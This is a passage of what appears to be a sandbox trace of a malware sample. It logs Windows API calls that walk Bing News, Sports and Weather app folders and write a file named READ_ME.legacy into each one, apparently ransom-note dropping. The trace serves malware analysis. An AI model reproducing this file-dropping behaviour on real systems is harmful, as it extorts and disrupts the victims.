(normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.515] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.516] CloseHandle (hObject=0x854) returned 1 [0151.516] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7119b46d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7119b46d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0151.516] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.650] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.651] CloseHandle (hObject=0x854) returned 1 [0151.651] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d1ab98, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x9d1ab98, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x9d1ab98, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0151.651] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.652] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.653] CloseHandle (hObject=0x854) returned 1 [0151.653] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca3325f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0151.653] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingnews_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854 [0151.654] WriteFile (in: hFile=0x854, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.655] CloseHandle (hObject=0x854) returned 1 [0151.655] FindNextFileW (in: hFindFile=0x563f38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49716ce0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca3325f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x49716ce0, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0151.655] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563ff8 [0151.656] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.656] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x45323b1a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31d0c581, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31d0c581, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0151.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.762] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.763] CloseHandle (hObject=0x858) returned 1 [0151.764] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x452d76b7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca38763a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x452d76b7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0151.764] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.764] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.765] CloseHandle (hObject=0x858) returned 1 [0151.765] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca387c66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0151.765] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.766] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.767] CloseHandle (hObject=0x858) returned 1 [0151.767] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca38822f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0151.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.768] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.769] CloseHandle (hObject=0x858) returned 1 [0151.769] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295c105, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe295c105, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0151.769] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca388810, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0151.769] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.769] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.770] CloseHandle (hObject=0x858) returned 1 [0151.770] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711c16b1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711c16b1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0151.770] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.826] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.827] CloseHandle (hObject=0x858) returned 1 [0151.828] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556dcf4, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x556dcf4, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0151.828] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.829] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.830] CloseHandle (hObject=0x858) returned 1 [0151.830] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca411116, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0151.830] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0151.830] WriteFile (in: hFile=0x858, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.831] CloseHandle (hObject=0x858) returned 1 [0151.831] FindNextFileW (in: hFindFile=0x563ff8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca411116, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0151.831] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5639b8 [0151.831] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.832] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42facab2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x320074c2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x320074c2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0151.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.834] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.835] CloseHandle (hObject=0x85c) returned 1 [0151.835] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42f3a393, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c15c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42f3a393, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0151.835] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.836] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.837] CloseHandle (hObject=0x85c) returned 1 [0151.837] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c21f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0151.837] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.838] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.839] CloseHandle (hObject=0x85c) returned 1 [0151.839] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c2a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0151.839] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.839] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.840] CloseHandle (hObject=0x85c) returned 1 [0151.840] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe295c105, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe295c105, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe295c105, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0151.840] FindNextFileW (in: hFindFile=0x5639b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c321d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0151.840] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x85c [0151.842] WriteFile (in: hFile=0x85c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0151.843] 